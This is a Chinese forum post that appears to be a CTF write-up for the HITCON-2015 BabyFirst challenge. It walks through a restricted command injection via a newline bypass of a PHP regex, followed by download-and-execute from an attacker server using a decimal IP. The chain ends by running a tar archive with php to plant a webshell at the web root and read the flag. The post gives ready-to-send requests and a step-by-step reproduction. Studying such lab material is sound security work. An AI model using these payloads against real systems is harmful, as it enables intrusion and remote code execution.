首页
社区
课程
招聘
[原创]在正则的缝隙里跳舞:BabyFirst 限制型命令注入的完整攻破与复现
发表于: 2天前 231

[原创]在正则的缝隙里跳舞:BabyFirst 限制型命令注入的完整攻破与复现

2天前
231

在正则的缝隙里跳舞:BabyFirst 限制型命令注入的完整攻破与复现

目标:HITCON-2015 BabyFirst,PHP 5.6.40 + nginx 动态靶机
结果:flag{05a7d031-20d3-4b84-acb8-f16a3336ae2e}
阅读本文你将获得:一套可复现的限制型命令注入攻击链(换行注入原语 → 纯 token 下载 → tar 打包执行 → 相对路径穿透),以及每个环节的原理与排错方法。


0. 题面:三重约束下的命令执行

靶机根路径直接 highlight_file(__FILE__),题面即源码:

<?php
    highlight_file(__FILE__);

    $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
    if ( !file_exists($dir) )
        mkdir($dir);
    chdir($dir);

    $args = $_GET['args'];
    for ( $i=0; $i<count($args); $i++ ){
        if ( !preg_match('/^\w+$/', $args[$i]) )
            exit();
    }
    exec("/bin/orange " . implode(" ", $args));
?>

三条约束决定了攻击面:

约束 代码依据 后果
参数级白名单 preg_match('/^\w+$/', $args[$i]) 每个参数只能是 [A-Za-z0-9_]/ . - | > $() 空格全部不可用
前缀锁定 exec("/bin/orange " . implode(" ", $args)) 注入内容被拼在固定命令后,必须切断前缀
输出黑洞 exec() 默认不捕获输出 无法直接回显,只能时间盲测 / 文件落地验证

另有一个隐性约束:$dir = 'sandbox/' . $_SERVER['REMOTE_ADDR']——每次请求先 mkdir + chdirsandbox/<REMOTE_ADDR>/,即所有命令的 cwd 都是按客户端 IP 命名的沙箱目录(网关反代下该 IP 是内网值)。


1. 环境准备:攻击者侧基础设施

需要一台公网可达的 HTTP 服务器(下文以 <VPS_IP> 指代,十进制形式为 <VPS_DEC>):

  • 在 80 端口托管 payload 文件 index.html,内容为写 shell 的 PHP 脚本(见 §4.1)
  • 记录访问日志,用于确认靶机是否成功下载(排错关键)

也可用任何可被 wget 拉取的 HTTP 服务(如对象存储的直链域名——域名本身是 \w+ 合法 token,同样可行;十进制 IP 是通用做法,不依赖域名解析)。


2. 注入原语:PCRE $ 锚点的换行绕过

preg_match('/^\w+$/', $arg) 校验的是"字符串整体由单词字符组成"。但 PCRE 默认(未启用 D 修饰符)下,$ 匹配的是"字符串末尾的换行符之前"的位置。因此:

参数值:  a\n        (即 URL 编码 a%0a)
正则:    ^\w+$
匹配:    \w 吃掉 'a',$ 锚定在换行之前 → 通过

该参数拼入 exec() 交给 /bin/sh -c 执行时,\n 是命令分隔符:

/bin/orange a
sleep 3          ← 前缀被切断,独立执行

验证(时间盲测)——exec() 无回显,延迟是唯一可靠的执行证据:

GET /?args[]=a%0a&args[]=sleep&args[]=3
实际耗时 ≈ 3.06s → 注入原语成立

3. 攻击链设计:把每个禁令变成攻击面

在纯 \w+ token 约束下,最终命令链为:

① mkdir exploit                        → 建纯字母目录(规避点号)
② cd exploit; wget <VPS_DEC>           → 十进制 IP 下载(规避点号)
③ tar cvf archived exploit             → 打包(归档名纯字母)
④ php archived                         → PHP 解析 tar 包,执行内嵌代码

3.1 十进制 IP(规避 wget 的点号)

wget 接受不带协议前缀的主机,但 IP 中的点号会被 \w+ 正则枪毙。将点分十进制 IP 换算为整数(IPv4 按大端拼接):

1.2.3.4 = 1·2²⁴ + 2·2¹⁶ + 3·2⁸ + 4 = 16909060

wget 16909060 等价于 wget d6bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0q4Q4x3X3f1J5i4K6u0W2x3#2)9J5k6e0c8Q4x3V1j5`.(wget 自动补全协议),下载内容存为 index.html

3.2 tar 引用目录名(规避落地文件的点号)

wget 落地文件固定叫 index.html——含点号,永远无法被 bash index.html 等方式直接引用(文件名过不了 ^\w+$)。解法:不引用文件,引用目录tar cvf archived exploit 把整个目录打包成 archived(纯字母归档名),命令参数只需 exploit(纯字母目录名)。

3.3 PHP 解释器吞 tar 包(解决"下载的文件无法执行")

php archived 用 PHP CLI 解析 tar 归档。PHP 对非 PHP 文件是"文本透传 + <?php ?> 标签识别":tar 二进制头被当普通文本输出(无影响),内嵌的 PHP 代码段被正常解析执行。因此 payload 只需含 <?php ... ?> 标签,即可借 php archived 这条命令执行任意 PHP 代码。


4. Payload 与完整复现

4.1 服务器侧:托管 payload

<VPS_IP>:80/index.html注意:用相对路径 ../../,这是关键):

<?php
file_put_contents('../../shell.php', '<?php system($_POST["cmd"]); ?>');
?>

4.2 靶机侧:四步注入(每条命令一个请求)

① mkdir:
   GET /?args[]=a%0a&args[]=mkdir&args[]=exploit

② 下载(cd 进目录 + wget):
   GET /?args[]=a%0a&args[]=cd&args[]=exploit%0a&args[]=wget&args[]=<VPS_DEC>

③ 打包:
   GET /?args[]=a%0a&args[]=tar&args[]=cvf&args[]=archived&args[]=exploit

④ 执行:
   GET /?args[]=a%0a&args[]=php&args[]=archived

4.3 相对路径穿透:为什么 ../../ 是关键

php archivedexec() 拉起,其 cwd 继承自 PHP 进程——即源码 chdir($dir) 后的 sandbox/<REMOTE_ADDR>/我们不需要知道 REMOTE_ADDR 的具体值,因为相对路径可以脱离绝对位置使用:

sandbox/<REMOTE_ADDR>/  --../-->  sandbox/  --../-->  /var/www/html/(web 根)

于是 file_put_contents('../../shell.php', ...) 把 webshell 写到 web 根,访问路径确定:

POST /shell.php  cmd=id
→ uid=33(www-data)

这一步绕开了"必须探测/猜测 sandbox/<IP>/ 目录名"的难点。相比"payload 写相对路径 shell.php 到 cwd 再探测 IP"的方案,../../ 穿透是确定性 100% 的——不需要任何关于网关 IP 的前置知识,也不存在 IP 变化导致的失败。

4.4 收 flag

POST /shell.php  cmd=cat /flag
→ flag{05a7d031-20d3-4b84-acb8-f16a3336ae2e}

4.5 完整复现步骤(可直接照打)

  1. 起一个 HTTP 服务,托管 §4.1 的 index.html,记日志
  2. 计算 <VPS_DEC>(Python:sum(int(o)<<(8*(3-i)) for i,o in enumerate("1.2.3.4".split(".")))
  3. 依次发 §4.2 的 ①②③④ 四个请求
  4. 检查服务器日志:应有靶机的 GET / 记录(确认 ② 成功)
  5. POST /shell.php cmd=cat /flag

5. 排错指南(实战踩过的坑)

现象 根因 排查 / 修复
① 后服务器日志无新记录 %0a 放错了位置args[]=mkdir%0a 会让 mkdir 变无参数调用,静默失败 第一个参数必须是 a%0a(dummy 引爆点),后续命令保持纯 token。先盲测 a%0a + sleep 3 确认注入原语存活
sleep 盲测不延迟 同上,或注入原语本身失效 a%0a + sleep N,掐表
php archived 后 shell 找不到 ① 写的是相对路径 shell.php(落在 sandbox/<IP>/,IP 未知难探测)② 或直接写绝对路径 /var/www/html/x.php 失败 改用 ../../shell.php 穿透到 web 根
payload 里读 $_SERVER['REMOTE_ADDR'] 得到空值 php archived 是 CLI 进程,无 HTTP 上下文$_SERVER 不含该键 不要依赖运行时变量拿目录名;用 ../../ 穿透
PHP 语法错误(?? 靶机 PHP 5.6 不支持空合并运算符 isset($x) ? $x : 'default'

6. 技术要点总结

  1. PCRE 换行绕过$ 默认匹配换行前位置,a%0a 通过 ^\w+$;换行进 shell 即命令分隔符,切断固定前缀。
  2. 十进制 IP:点分十进制 → 整数(大端拼接),纯数字合法 token,wget 裸用自动补全协议。
  3. tar 引用目录名:规避落地文件 index.html 的点号,归档名可自定义为纯字母。
  4. PHP 吞 tar 包:CLI 解析非 PHP 文件时文本透传 + 标签识别,内嵌 <?php ?> 被执行。
  5. ../../ 相对路径穿透:cwd 位置确定即可用相对路径上跳,无需知道目录绝对名——把"探测内网 IP"降级为"写 web 根"。
  6. 输出黑洞下的验证纪律:一切以时间盲测(sleep N)和文件落地探测为准。

7. 结语

BabyFirst 的价值在于:它逼你把每一个"不可能"变成攻击面。点号被禁,就用十进制 IP;文件名不能有点,就打包目录;不能直接执行,就让 PHP 吞 tar 包;不知道自己在哪,就往上跳两级。

^\w+$ 以为封死了所有路,却不知 $ 的语义在换行符那里开了一扇门;sandbox/<IP>/ 以为用不可知的名字藏住了文件,却不知相对路径从来不需要绝对位置。

8. 感谢

感谢the_hs大佬提点我,看雪平台在所有靶机前面架了一层网关反代,PHP 拿到的 REMOTE_ADDR 是网关的内网 IP,而不是你的真实出口 IP,我才能顺利解出这道题。

当你觉得无路可走的时候,试着不要往前,往上跳两级。


冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。

收藏
免费 1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回